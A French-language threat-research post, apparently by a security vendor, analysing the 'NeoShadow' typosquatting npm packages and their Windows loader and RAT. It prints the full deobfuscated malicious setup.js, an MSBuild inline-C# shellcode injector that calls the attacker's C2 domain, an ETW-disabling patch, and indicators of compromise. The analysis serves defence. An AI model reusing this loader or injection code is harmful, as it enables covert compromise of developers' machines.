Le 30 décembre, une vague soudaine de nouveaux paquets npm provenant d'un seul auteur a attiré notre attention. Notre moteur d'analyse a rapidement signalé plusieurs d'entre eux comme suspects dès leur apparition. Nous avons baptisé cette campagne/ce groupe malveillant « NeoShadow », d'après un identifiant commun présent dans sa charge utile de phase 2. Les paquets identifiés étaient les suivants :
- viem-js
- cyrpto
- tailwin
- supabase-js

Tous ont été publiés par l'utilisateur. cjh97123Il s'agit de paquets de typosquatting, ce qui n'a rien de nouveau. Mais nous avons été intrigués par le malware que nous avons trouvé à l'intérieur. Non seulement nous avons constaté que l'obfuscation n'était pas facile à déjouer avec les outils courants, mais nous avons également remarqué que le malware faisait des choses assez inhabituelles. Nous avons donc décidé d'améliorer une fois de plus nos chaînes d'outils de désobfuscation afin de comprendre le fonctionnement de ce malware.
Étape 0 - JS malveillant sur npm
La première partie de notre enquête commence avec ce fichier de configuration, mais attention : elle va bientôt nous mener dans des territoires étranges et merveilleux. Ce fichier JavaScript, situé dans scripts/setup.js dans tous les paquets, sert de chargeur multi-étapes réservé à Windows. Son comportement peut être résumé comme suit, par étapes ordonnées :
1️⃣ Validation de la plateforme et de l'environnement
- 🪟 Confirme l'exécution sous Windows
- 🧪 Applique une heuristique anti-analyse en comptant les entrées du journal des événements système Windows.
- 🚫 Quitte rapidement les environnements peu actifs ou de type bac à sable.
2️⃣ Configuration dynamique via la blockchain
- ⛓️ Interroge un contrat intelligent Ethereum à l'aide de l'API eth_call d'Etherscan.
- 📤 Extrait une chaîne stockée dynamiquement à partir des données sur la chaîne.
- 🌐 Traite la valeur décodée comme une URL de base C2.
- 🔁 Revient à un domaine codé en dur si la recherche de chaîne échoue.
3️⃣ Acquisition discrète de la charge utile
- 📡 Demande un fichier JavaScript distant se faisant passer pour un outil d'analyse
- 🫥 Localise un blob encodé en Base64 caché dans un commentaire de bloc.
- 📦 Utilise le commentaire uniquement comme conteneur de charge utile, et non comme code exécutable.
4️⃣ Exécution Living-off-the-Land (MSBuild)
- 🛠️ Écrit un fichier temporaire Projet MSBuild (
.proj) fichier - 🧬 Intègre du code C# en ligne à l'aide de CodeTaskFactory
- 🚫 S'exécute sans déposer ni compiler un exécutable autonome.
- 🧾 S'appuie sur un binaire Windows fiable (MSBuild.exe)
5️⃣ Décryptage de la charge utile
- 🔐 Décode la charge utile Base64
- 🔑 Dérive une clé RC4 en masquant les 16 premiers octets par XOR.
- 🔓 Décrypte la charge utile restante en mémoire
6️⃣ Injection et exécution du processus
- 🧠 Lance RuntimeBroker.exe dans un état suspendu.
- 💉 Alloue de la mémoire dans le processus distant
✍️ Écrit le shellcode décrypté - ⚡ Exécute via Injection APC (
QueueUserAPC+Reprendre le fil)
7️⃣ Déploiement d'artefacts secondaires
- 📥 Télécharge éventuellement un fichier de configuration de suivi.
- 📁 Enregistrez-le sous :
%APPDATA%\Microsoft\CLR\config.proj
C'est beaucoup. Si vous êtes curieux, voici le code réel après notre désobfuscation :
const {
execSync: a0_0x284172
} = require("child_process");
const a0_0x363405 = require("os");
const a0_0x53848c = require("path");
const a0_0x651569 = require("fs");
const a0_0x7f4e56 = "0x13660FD7Edc862377e799b0Caf68f99a2939B5cC";
async function a0_0x2da91a() {
if (!a0_0x7f4e56 || "0x13660FD7Edc862377e799b0Caf68f99a2939B5cC".length < 10 || !"0x13660FD7Edc862377e799b0Caf68f99a2939B5cC".startsWith("0x")) return null;
const _0x40ca65 = require("https");
return new Promise(_0x18a121 => {
_0x40ca65.get("https://api.etherscan.io/v2/api?chainid=1&module=proxy&action=eth_call&to=0x13660FD7Edc862377e799b0Caf68f99a2939B5cC&data=0xd6bd8727&apikey=GAH6BHW1WXF3TNQ4AH3G44B7BWVVKPKSV5", _0xc12477 => {
const _0x5a6f92 = {
xSUuD: function (_0x8e23dc, _0x473cc1) {
return _0x8e23dc !== _0x473cc1;
},
kByHu: function (_0x291b51, _0x45ee39, _0x314df2) {
return _0x291b51(_0x45ee39, _0x314df2);
},
TSNUY: function (_0x551c1c, _0xa10773) {
return _0x551c1c * _0xa10773;
},
IxNWN: function (_0x5bf459, _0x3b5803) {
return _0x5bf459 < _0x3b5803;
},
TNyat: function (_0x2a4142, _0x55bc29) {
return _0x2a4142 + _0x55bc29;
},
jmkEP: "http",
bpmxg: function (_0x596591, _0x2230d0) {
return _0x596591(_0x2230d0);
}
};
let _0x44c1fc = "";
_0xc12477.on("data", _0x4c04af => _0x44c1fc += _0x4c04af);
_0xc12477.on("end", () => {
try {
const _0x19ede0 = JSON.parse(_0x44c1fc);
if (_0x19ede0.result && _0x19ede0.result !== "0x") {
const _0x501fdb = _0x19ede0.result.slice(2);
const _0xacca97 = _0x5a6f92.kByHu(parseInt, _0x501fdb.slice(64, 128), 16);
const _0x4d9687 = _0x501fdb.slice(128, 128 + _0xacca97 * 2);
let _0x2d977d = "";
for (let _0x39ae37 = 0; _0x39ae37 < _0x4d9687.length; _0x39ae37 += 2) {
_0x2d977d += String.fromCharCode(parseInt(_0x4d9687.slice(_0x39ae37, _0x39ae37 + 2), 16));
}
if (_0x2d977d.startsWith("http")) {
_0x5a6f92.bpmxg(_0x18a121, _0x2d977d);
return;
}
}
} catch (_0x34b9f3) {}
_0x18a121(null);
});
}).on("error", () => _0x18a121(null));
});
}
function a0_0x1c5097() {
if (a0_0x363405.platform() !== "win32") return false;
try {
const _0x5962fa = a0_0x284172("powershell -c \"(Get-WinEvent -LogName System -MaxEvents 5000 -ErrorAction SilentlyContinue).Count\"", {
encoding: "utf8",
windowsHide: true,
timeout: 10000
}).trim();
return parseInt(_0x5962fa, 10) >= 3000;
} catch (_0x3c40cc) {
return false;
}
}
function a0_0x218fb4(_0x42ee70, _0x4bce67) {
const _0x50f164 = "C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe";
const _0x1d3b60 = a0_0x363405.tmpdir();
const _0x112a23 = a0_0x53848c.join(_0x1d3b60, Math.random().toString(36).slice(2) + ".proj");
a0_0x651569.writeFileSync(_0x112a23, "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n<Target Name=\"Build\"><T /></Target>\n<UsingTask TaskName=\"T\" TaskFactory=\"CodeTaskFactory\" AssemblyFile=\"C:\\Windows\\Microsoft.Net\\Framework64\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll\">\n<Task><Code Type=\"Class\" Language=\"cs\"><![CDATA[\nusing System;using System.IO;using System.Net;\nusing System.Runtime.InteropServices;\nusing Microsoft.Build.Framework;using Microsoft.Build.Utilities;\npublic class T : Task {\n[StructLayout(LayoutKind.Sequential)] struct SI { public int cb; public IntPtr a,b,c; public int d,e,f,g,h,i; public short j,k; public IntPtr l,m,n,o; }\n[StructLayout(LayoutKind.Sequential)] struct PI { public IntPtr hProcess, hThread; public int pid, tid; }\n[DllImport(\"kernel32.dll\", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessW(string a, string b, IntPtr c, IntPtr d, bool e, uint f, IntPtr g, string h, ref SI i, out PI j);\n[DllImport(\"kernel32.dll\")] static extern IntPtr VirtualAllocEx(IntPtr a, IntPtr b, uint c, uint d, uint e);\n[DllImport(\"kernel32.dll\")] static extern bool WriteProcessMemory(IntPtr a, IntPtr b, byte[] c, uint d, ref uint e);\n[DllImport(\"kernel32.dll\")] static extern uint QueueUserAPC(IntPtr a, IntPtr b, IntPtr c);\n[DllImport(\"kernel32.dll\")] static extern uint ResumeThread(IntPtr a);\n[DllImport(\"kernel32.dll\")] static extern bool CloseHandle(IntPtr a);\n\nstatic byte[] RC4(byte[] data, byte[] key) {\n byte[] s = new byte[256];\n for (int i = 0; i < 256; i++) s[i] = (byte)i;\n int j = 0;\n for (int i = 0; i < 256; i++) {\n j = (j + s[i] + key[i % key.Length]) & 0xFF;\n byte t = s[i]; s[i] = s[j]; s[j] = t;\n }\n byte[] o = new byte[data.Length];\n int x = 0, y = 0;\n for (int k = 0; k < data.Length; k++) {\n x = (x + 1) & 0xFF;\n y = (y + s[x]) & 0xFF;\n byte t = s[x]; s[x] = s[y]; s[y] = t;\n o[k] = (byte)(data[k] ^ s[(s[x] + s[y]) & 0xFF]);\n }\n return o;\n}\n\nstatic byte[] PolyDecode(byte[] payload) {\n byte[] mask = {0x5A,0xA5,0x3C,0xC3,0x69,0x96,0x55,0xAA,0xF0,0x0F,0xE1,0x1E,0xD2,0x2D,0xB4,0x4B};\n byte[] key = new byte[16];\n for (int i = 0; i < 16; i++) key[i] = (byte)(payload[i] ^ mask[i]);\n byte[] enc = new byte[payload.Length - 16];\n Array.Copy(payload, 16, enc, 0, enc.Length);\n return RC4(enc, key);\n}\n\npublic override bool Execute() {\ntry {\nbyte[] raw = Convert.FromBase64String(\"" + _0x42ee70 + "\");\nbyte[] d = PolyDecode(raw);\n\nSI si = new SI(); si.cb = Marshal.SizeOf(si); PI pi;\nif (!CreateProcessW(\"C:\\\\Windows\\\\System32\\\\RuntimeBroker.exe\", null, IntPtr.Zero, IntPtr.Zero, false, 0x08000004, IntPtr.Zero, null, ref si, out pi)) return true;\nIntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)d.Length, 0x3000, 0x40);\nif (addr == IntPtr.Zero) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return true; }\nuint w = 0; WriteProcessMemory(pi.hProcess, addr, d, (uint)d.Length, ref w);\nQueueUserAPC(addr, pi.hThread, IntPtr.Zero); ResumeThread(pi.hThread);\nCloseHandle(pi.hThread); CloseHandle(pi.hProcess);\n\ntry {\nvar wc = new WebClient();\nstring proj = wc.DownloadString(\"" + _0x4bce67 + "/_next/data/config.json\");\nstring dir = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), \"Microsoft\", \"CLR\");\nDirectory.CreateDirectory(dir);\nFile.WriteAllText(Path.Combine(dir, \"config.proj\"), proj);\n} catch {}\n} catch {} return true;\n}}\n]]></Code></Task></UsingTask></Project>");
try {
a0_0x284172("\"" + _0x50f164 + "\" \"" + _0x112a23 + "\" /nologo /noconsolelogger", {
windowsHide: true,
timeout: 30000,
stdio: "ignore"
});
} catch (_0x48f097) {}
try {
a0_0x651569.unlinkSync(_0x112a23);
} catch (_0x245ac6) {}
return true;
}
async function a0_0x46b335() {
if (a0_0x363405.platform() !== "win32") return;
if (!a0_0x1c5097()) return;
try {
const _0x2186b3 = require("https");
let _0x6212ce = await a0_0x2da91a();
if (!_0x6212ce) _0x6212ce = "https://metrics-flow[.]com";
if (!_0x6212ce || !_0x6212ce.startsWith("http")) return;
const _0xe78890 = _0x6212ce + "/assets/js/analytics.min.js";
const _0x4a6c3b = await new Promise((_0x3a7450, _0x340a89) => {
_0x2186b3.get(_0xe78890, _0x891520 => {
let _0x470b55 = "";
_0x891520.on("data", _0x32cd17 => _0x470b55 += _0x32cd17);
_0x891520.on("end", () => _0x3a7450(_0x470b55));
}).on("error", _0x340a89);
});
const _0x168fcf = _0x4a6c3b.match(/\/\*(.+)\*\//);
if (!_0x168fcf || !_0x168fcf[1]) return;
a0_0x218fb4(_0x168fcf[1], _0x6212ce);
} catch (_0x1b35d8) {}
}
a0_0x46b335()["catch"](() => {});
Cela nous permet de mieux comprendre la logique. Il s'agit d'une approche novatrice qui utilise MSBuild et du code C#. Comme dans l'autre version, elle tente de télécharger la charge utile à partir de https://metrics-flow[.]com/assets/js/analytics.min.js et le déchiffrer avec une clé RC4.
Étape 1 - Qu'est-ce que MSBuild ?
Une chose que vous remarquerez dans le code est qu'il tente d'extraire le fichier _next/data/config.json à partir du domaine C2. Je l'ai donc récupéré, et il m'a renvoyé une version améliorée du script MSBuild :
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Build"><T /></Target>
<UsingTask TaskName="T" TaskFactory="CodeTaskFactory" AssemblyFile="$(MSBuildToolsPath)\Microsoft.Build.Tasks.v4.0.dll">
<Task><Code Type="Class" Language="cs"><![CDATA[
using System;using System.Net;using System.Text.RegularExpressions;using System.Runtime.InteropServices;
using Microsoft.Build.Framework;using Microsoft.Build.Utilities;
public class T : Task {
[StructLayout(LayoutKind.Sequential)] struct SI { public int cb; public IntPtr a,b,c; public int d,e,f,g,h,i; public short j,k; public IntPtr l,m,n,o; }
[StructLayout(LayoutKind.Sequential)] struct PI { public IntPtr hProcess, hThread; public int pid, tid; }
[DllImport("kernel32.dll", SetLastError=true, CharSet=CharSet.Unicode)] static extern bool CreateProcessW(string a, string b, IntPtr c, IntPtr d, bool e, uint f, IntPtr g, string h, ref SI i, out PI j);
[DllImport("kernel32.dll")] static extern IntPtr VirtualAllocEx(IntPtr a, IntPtr b, uint c, uint d, uint e);
[DllImport("kernel32.dll")] static extern bool WriteProcessMemory(IntPtr a, IntPtr b, byte[] c, uint d, ref uint e);
[DllImport("kernel32.dll")] static extern uint QueueUserAPC(IntPtr a, IntPtr b, IntPtr c);
[DllImport("kernel32.dll")] static extern uint ResumeThread(IntPtr a);
[DllImport("kernel32.dll")] static extern bool CloseHandle(IntPtr a);
static byte[] RC4(byte[] data, byte[] key) {
byte[] s = new byte[256]; for (int i = 0; i < 256; i++) s[i] = (byte)i;
int j = 0; for (int i = 0; i < 256; i++) { j = (j + s[i] + key[i % key.Length]) & 0xFF; byte t = s[i]; s[i] = s[j]; s[j] = t; }
byte[] o = new byte[data.Length]; int x = 0, y = 0;
for (int k = 0; k < data.Length; k++) { x = (x + 1) & 0xFF; y = (y + s[x]) & 0xFF; byte t = s[x]; s[x] = s[y]; s[y] = t; o[k] = (byte)(data[k] ^ s[(s[x] + s[y]) & 0xFF]); }
return o;
}
static string GetC2FromEth(string contract, string apiKey) {
if (string.IsNullOrEmpty(contract) || !contract.StartsWith("0x")) return null;
try {
var w = new WebClient();
var url = "https://api.etherscan.io/v2/api?chainid=1&module=proxy&action=eth_call&to=" + contract + "&data=0xd6bd8727&apikey=" + apiKey;
var json = w.DownloadString(url);
var m = Regex.Match(json, "\"result\":\"(0x[0-9a-fA-F]+)\"");
if (!m.Success) return null;
var hex = m.Groups[1].Value.Substring(2);
if (hex.Length < 130) return null;
var strLen = Convert.ToInt32(hex.Substring(64, 64), 16);
if (strLen <= 0 || strLen > 500) return null;
var strHex = hex.Substring(128, strLen * 2);
var chars = new char[strLen];
for (int i = 0; i < strLen; i++) chars[i] = (char)Convert.ToByte(strHex.Substring(i * 2, 2), 16);
var c2 = new string(chars);
return c2.StartsWith("http") ? c2 : null;
} catch { return null; }
}
public override bool Execute() {
try {
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
string c2 = GetC2FromEth("", "");
if (string.IsNullOrEmpty(c2)) c2 = "https://metrics-flow.com";
if (string.IsNullOrEmpty(c2) || !c2.StartsWith("http")) return true;
var w = new WebClient();
var cfg = w.DownloadString(c2 + "/assets/js/analytics.min.js");
if (!cfg.StartsWith("/*") || !cfg.EndsWith("*/")) return true;
cfg = cfg.Substring(2, cfg.Length - 4);
var raw = Convert.FromBase64String(cfg);
byte[] mask = {0x5A,0xA5,0x3C,0xC3,0x69,0x96,0x55,0xAA,0xF0,0x0F,0xE1,0x1E,0xD2,0x2D,0xB4,0x4B};
var key = new byte[16]; for (int i = 0; i < 16; i++) key[i] = (byte)(raw[i] ^ mask[i]);
var enc = new byte[raw.Length - 16]; Array.Copy(raw, 16, enc, 0, enc.Length);
var d = RC4(enc, key);
SI si = new SI(); si.cb = Marshal.SizeOf(si); PI pi;
if (!CreateProcessW("C:\\Windows\\System32\\RuntimeBroker.exe", null, IntPtr.Zero, IntPtr.Zero, false, 0x08000004, IntPtr.Zero, null, ref si, out pi)) return true;
IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)d.Length, 0x3000, 0x40);
if (addr == IntPtr.Zero) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return true; }
uint written = 0; WriteProcessMemory(pi.hProcess, addr, d, (uint)d.Length, ref written);
QueueUserAPC(addr, pi.hThread, IntPtr.Zero);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread); CloseHandle(pi.hProcess);
} catch {} return true;
}}
]]></Code></Task></UsingTask></Project>Cela nous permet de mieux comprendre la logique. Il s'agit d'une approche novatrice qui utilise MSBuild et du code C#. Comme dans l'autre version, elle tente de télécharger la charge utile à partir de https://metrics-flow[.]com/assets/js/analytics.min.js et le déchiffrer avec une clé RC4.
Étape 2 - Analyse du shellcode
À ce stade, nous étions naturellement curieux de savoir ce qui justifiait l'effort derrière un mécanisme de livraison aussi novateur. Après avoir décrypté la charge utile, nous avons découvert qu'elle contenait, comme prévu, un shellcode.
En fouillant dans les octets bruts de la charge utile décryptée, deux noms nous ont immédiatement sauté aux yeux : NeoShadowV2DériverClé2026 et Global\NSV2_8e4b1dLe lien entre eux est difficile à ignorer. NS est un raccourci naturel pour NeoShadow, et les deux chaînes partagent le même V2 marqueur. Pris ensemble, ceux-ci ne semblent ni accidentels ni génériques ; ils ressemblent à des étiquettes internes utilisées par les auteurs. Sur la base de cette cohérence, nous désignons l'acteur malveillant à l'origine de cette activité comme NeoShadowLe fait de voir les mêmes noms apparaître dans les routines cryptographiques et les contrôles d'exécution confère au logiciel malveillant une identité claire et suggère qu'il s'agit d'un ensemble d'outils délibérément versionnés et activement maintenus plutôt que d'une expérience ponctuelle.
Nous avons ensuite exécuté le shellcode dans Binary Ninja, qui a immédiatement produit une version C semi-lisible. Seulement... Il s'agit de 4000 lignes de code C peu élégant. 🥹

Nous avons donc transmis cela à Claude afin d'obtenir une version plus propre. Et bien sûr, cela a généré une version agréable et lisible de 1900 lignes du code C. Cela nous amène à la prochaine étape de notre aventure.
Étape 3 - Un rat dans la construction
La charge utile finale est une porte dérobée complète conçue pour un accès à long terme. Une fois lancée, elle entre dans une boucle de balise, se connecte au serveur C2, transmet les informations système et recherche les commandes. L'implant est léger de par sa conception : il établit l'accès et fournit une primitive d'exécution, tandis que toutes les fonctionnalités post-exploitation sont transmises sous forme de modules jetables.
Comportement du phare
- 📡 Envoie des enregistrements cryptés via HTTPS POST
- 🪪 Comprend l'empreinte digitale de l'hôte : nom de l'ordinateur, nom d'utilisateur, ID de l'agent
- 🔀 Randomise les chemins d'accès URL pour imiter le trafic légitime (
/assets/js/,/api/v1/,/wp-content/, etc.) - 🏷️ Demandes de balises personnalisées
Identifiant X-AgentEn-tête pour le suivi des victimes - ⏱️ Prend en charge un intervalle de veille configurable avec gigue (valeur par défaut : 20 %)
Cryptage
Tout le trafic C2 est chiffré à l'aide de ChaCha20, un chiffrement par flux apprécié pour sa rapidité et sa sécurité. Les clés sont établies via Curve25519 ECDH.
Ensemble de commandes
Les opérateurs disposent de trois commandes :
sommeil
- ⏰ Ajuste l'intervalle de balise à la volée
- 🔇 Laissons les opérateurs se faire discrets pendant les phases de persistance ou accélérer pour un engagement actif.
module
- 🌐 Récupère la charge utile à partir d'une URL
- 📦 S'il s'agit d'une DLL : localise
Chargeur réfléchissantexportation, injection sans toucher au disque - 💉 S'il s'agit d'un shellcode : s'injecte directement dans
RuntimeBroker.exepar injection APC - 🧰 Mécanisme principal pour le déploiement d'outils post-exploitation
injecter
- 🔤 Accepte directement le shellcode encodé en base64 dans la commande
- 🔒 Conserve tout à l'intérieur du canal C2 crypté
- ⚡ Même chemin d'injection que le module, mais sans récupération réseau.
Gestion des réponses
- ✅ Renvoie OK ou DLL OK en cas de succès
- ❌ Erreurs descriptives : Erreur : alloc, Erreur : fetch, Erreur : decode, Erreur : inject, Erreur : not PE
- 📤 Les DLL injectées peuvent écrire dans un tampon partagé qui est exfiltré dans la réponse.
- 🔁 Toutes les communications utilisent le même cryptage ChaCha20 que la balise.
Ce petit cheval de Troie d'accès à distance (RAT) minimaliste est assez intelligent. Sa seule fonction est d'établir une liaison C2 persistante et d'agir comme un chargeur de première étape pour des logiciels malveillants plus puissants. Cela fournit aux attaquants un point d'entrée flexible et discret pour déployer des outils secondaires (par exemple, des enregistreurs de frappe ou des ransomwares) et intensifier l'attaque à leur guise.
Caractéristiques intéressantes
Le logiciel malveillant contient quelques fonctionnalités astucieuses pour tenter de se dissimuler ainsi que son serveur C2, que nous décrivons ci-dessous.
🙈Aveugler l'hôte : correctif ETW
Event Tracing for Windows est le système nerveux de la télémétrie Windows moderne. Lorsqu'un assemblage .NET se charge, ETW le détecte. Lorsque PowerShell exécute un bloc de script, ETW l'enregistre. Lorsqu'un processus est lancé, qu'un thread est créé, qu'une DLL est chargée ou qu'une connexion réseau est établie, des événements ETW sont émis et les produits de sécurité les consomment. Les plateformes de sécurité, y compris les solutions de détection et de réponse aux incidents au niveau des terminaux (EDR) et les outils SIEM, s'appuient toutes largement sur ETW pour la détection. La désactivation d'ETW nuit gravement à la visibilité de ces outils de sécurité. Notez qu'il ne s'agit pas d'une technique nouvelle ; elle est bien connue depuis des années.
C'est exactement ce que fait l'implant. Avant d'établir des communications C2 ou d'effectuer toute activité suspecte, il localise NtTraceEvent dans ntdll.dll, la fonction de bas niveau par laquelle transitent finalement toutes les émissions d'événements ETW. Elle résout l'adresse via sa résolution API standard basée sur le hachage (hash 0xDECFC1BF), puis appelle Protection virtuelle pour rendre la mémoire de la fonction accessible en écriture :
char funcName[] = "NtTraceEvent";
char* ntTraceEvent = GetProcAddress(hNtdll, funcName);
DWORD oldProtect;
VirtualProtect(ntTraceEvent, 4, PAGE_EXECUTE_READWRITE, &oldProtect);Avec l'accès en écriture, il écrase les quatre premiers octets de la fonction avec un simple stub qui renvoie un succès sans rien faire :
// Before patching
NtTraceEvent:
4c 8b d1 mov r10, rcx
b8 XX XX 00 00 mov eax, <syscall#>
0f 05 syscall
c3 ret
// After patching
NtTraceEvent:
48 33 c0 xor rax, rax ; rax = 0 (STATUS_SUCCESS)
c3 ret ; return immediatelyC'est tout. Quatre octets, 48 33 C0 C3, et tous les événements ETW du système cessent de se déclencher. La fonction renvoie STATUT_SUCCÈS ainsi, les appelants ne renvoient pas d'erreur et ne réessaient pas, mais aucun événement n'atteint jamais le noyau. Les produits de sécurité qui interrogent les fournisseurs ETW restent sans réponse.
🙈Camouflage du serveur C2
Nous avons donc vérifié le domaine C2. metrics-flow[.]com, et nous avons bien ri en voyant les attaquants tenter de se camoufler. Ils ont mis en place un système de sécurité astucieux conçu pour déjouer les outils automatisés et les chercheurs humains. Lorsque vous accédez à la page principale, vous n'obtenez jamais deux fois la même chose. Au lieu de cela, le serveur distribue un ensemble de faux contenus totalement aléatoires, donnant l'impression d'un site web tout à fait normal et non malveillant. Très astucieux, cela permettra aux chercheurs d'identifier plus facilement les serveurs C2 à l'avenir. 😀



Domaine C2
Le domaine C2 a été enregistré à peu près au moment où le logiciel malveillant a été publié pour la première fois sur npm, le 30 décembre 2025, comme le montrent les informations whois :

Modifications apportées à la version 2
Toutes les analyses effectuées jusqu'à présent sont basées sur la version déployée le 30 décembre 2025. Une autre version des paquets a été déployée le 2 janvier 2026. Le changement le plus notable est l'ajout d'un exécutable Windows, node.analytics, est également inclus. Nous avons remarqué qu'aucun antivirus sur VirusTotal ne l'a détecté comme malveillant :

De plus, le fichier JavaScript a été obscurci différemment et est plus difficile à désobscurcir que la version originale, avec ce qui semble être de nouvelles techniques d'obscurcissement incluses dans la version.
Nous obtenons également une autre référence au projet appelé NeoShadow : C:\Users\admin\Desktop\NeoShadow\core\loader\native\build\Release\analytics.pdb
Conclusion
Pour l'instant, nous n'avons pas tenté de récupérer une charge utile dynamique à partir du serveur C2. Cependant, nous avons clairement constaté une tentative bien conçue de diffuser ce que nous pensons être un nouveau logiciel malveillant dans le cadre d'une campagne plus vaste, non documentée jusqu'à présent, qui a mis en place son propre serveur C2, son propre RAT, son propre mécanisme de diffusion et ses propres techniques de camouflage pour dissimuler son serveur C2.
🚨 Indicateurs de compromission
- Domaine :
metrics-flow[.]com - Adresse IP :
80.78.22[.]206 - Binaire:
012dfb89ebabcb8918efb0952f4a91515048fd3b87558e90fa45a7ded6656c07 - Adresse Ethereum :
0x13660FD7Edc862377e799b0Caf68f99a2939B5cC - Nom du mutex :
Global\NSV2_8e4b1d - Paquets NPM :
viem-jscyrptotailwinsupabase-js
Sécurisez votre logiciel dès maintenant.



.avif)
